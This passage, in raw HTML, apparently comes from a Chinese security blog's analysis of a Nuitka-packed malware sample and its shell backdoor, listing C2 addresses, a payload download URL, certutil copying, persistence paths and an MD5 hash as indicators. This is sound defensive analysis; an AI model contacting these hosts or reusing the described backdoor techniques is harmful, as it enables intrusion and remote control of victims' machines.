src="https://wechat2rss.xlab.app/img-proxy/?k=7c44edbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIM9MOic9rlF56uPJ7GUibKcaMWnYGUC1K6euib8qibCqfpmYrhNZ5eVyibWybTjyvUsNXpdv3mpvuGEk3ndZ6gR5KicSOFdNpICia7Xk%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgouacq" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">4）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本连接C2：89.46.236.152:443。</span></span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2073529411764706" data-w="680" style="width: 553.74px;height: 114.8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e204f304&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJ5vWDAkqibwyEnUKKLet2nlJjp5fkUAROib0hiaLticZtXEyYAicHPvF4wb7Bx83XXJEmWHbqNkZXtI5Zx1k07WNA4S3hdUl6lLMgA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span><o:page></o:page></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1tjj">本次NUITKA样本，需接收C2传来的cmd命令，才会执行才会进行后续操作。本次捕获到的C2命令分为五类：</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgoufvi">第一类：获取系统信息</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4164705882352941" data-w="425" style="width: 425.01px;height: 177px;" src="https://wechat2rss.xlab.app/img-proxy/?k=81ce07fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJLy3Wa1jvrIBabX4ZgSGuhlIko8PT4svLNNlQogSZ4EkA3icLd2t3QHy8iaTRbe86T0Qn9IWUBa23uZvtjIgVqHQqGicuicKeohrA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgouz3l">第二类：下载后续组件</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou17cb">捕获到url：</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou2c0"><a href="https://domainnamevalidator[.]com/uploads/taskhost" target="_blank">https://domainnamevalidator[.]com/uploads/taskhost</a></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1smh">保存到c:\programdata\usoshared\taskhost.exe</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.055710306406685235" data-w="1077" style="width: 553.74px;height: 30.87px;" src="https://wechat2rss.xlab.app/img-proxy/?k=99816298&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLGwueghRias0xyEcf0XSLsZYT2NlWu7a7rUhgshOQiaaVJplQiaOFlGWKVDOxJibiabyrS3X5aD1UXSaCnJ7oDptYrj7IOicNyfl3vM%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1vle">第三类：样本复制</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1a73">通过certutil来进行文件复制</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1046712802768166" data-w="1156" style="width: 553.74px;height: 57.93px;" src="https://wechat2rss.xlab.app/img-proxy/?k=474681af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJNTE198fTDVC593ZPWumpqVuicKWicLN1N9aDGDwQS13g5HLTVlWaEDl5piafnYM35xECwogibiaqCpWhWrcM3R87v9mZ9Z3w6QgXY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou21l4">第四类：配置计划任务、启动项、开始菜单快捷方式。</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgoutag"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">注：未捕获到样本</span></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou23y2">%LocalAppData%\\Microsoft\\WindowsApps\\MsEdge.exe</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1340782122905028" data-w="1432" style="width: 553.74px;height: 74.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9ab6e8c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJFawjBZ1t9OtdNutvn7e6ztqBwWrvickIJTYZJye4icrGmiaibkvKGxJFFxeFob2y48TvuUYPKEmKZrCBA9IiaPhBjnM3BszsLrubA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgouexp">第五类：解压需要使用的组件，如：python</span><o:page></o:page></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou20sq"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">注：未捕获到myarchive.rar文件。</span></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1u21">python.zip为正常的python安装包。安装包会保存到%userprofile%\downloads中。该python版本是312。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.10436713545521836" data-w="1351" style="width: 553.74px;height: 57.8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1ee85617&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKuexfmUGWWvsJRiatpAvpoR4XzZLn62Pl2EAuIvl15LA7zpVhAickbKiavhxOmhibuJ2arWicVTCtE2niclIk8JzVTZcFkscfndCibUw%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">3.</span></span><span mpa-font-style="mo19dgou125l"><span leaf="" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击组件分析</span></span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="font-weight:bold;"><p style="margin: 16px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou4r2"><span textstyle="" style="font-weight: bold;">shell后门组件</span></span></p></li></ul><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="mo19dgou1hqq" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该组件主要功能为执行C2传输的cmd指令。</span></span></p><div style="margin-left: 0;margin-right: 0;"><div><div><div><div><div><div><div><div><p><table style="width:481px;"><tbody><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">MD5</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">23f5e51bf6d540553aa88c48480450a8</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件名称</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">taskhost.exe</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">248.50 KB (254464 bytes)</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件类型</span></span></p></td><td data-colwidth="354"><p data-mpa-action-id="mo2jab0j20f0"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">exe</span></span></span></p></td></tr></tbody></table></p></div></div></div><p style="text-indent: 2em;"><span leaf="">1）样本判断互斥体，保证单独执行。</span></p></div></div></div></div></div></div><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36" data-w="400" style="width: 399.96px;height: 143.98px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9ace8303&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLQbd90d3A7fQXIlYLFibJhhLn2xWOm31zciajWicicBmDJHib0wmULL6iab1AKKjEeAem1gq79TZ8v5KNMwlYel8fia9DnREfD1V4DyI%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou1t2y" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">连接C2:</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">213.111.185[.]78:443。</span></span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7663157894736842" data-w="475" style="width: 474.95px;height: 363.96px;" src="https://wechat2rss.xlab.app/img-proxy/?k=db8adc29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJLBWoy3IHIRhpdbT4uafg1o9ey79bTEfnnMS3EnTibEObArX0KgP88qpA5f9I5hTlKlQgIwDH31YI8b9hibpAx7IunEquNs5Ge8%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou1l68" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本向C2发送上线包，上线包内容为：用户名@计算机名\n系统版本\n。</span></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgoul8y">样本接收C2指令，执行cmd指令，并将对应结果传回C2。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.437046004842615" data-w="826" style="width: 553.74px;height: 242px;" 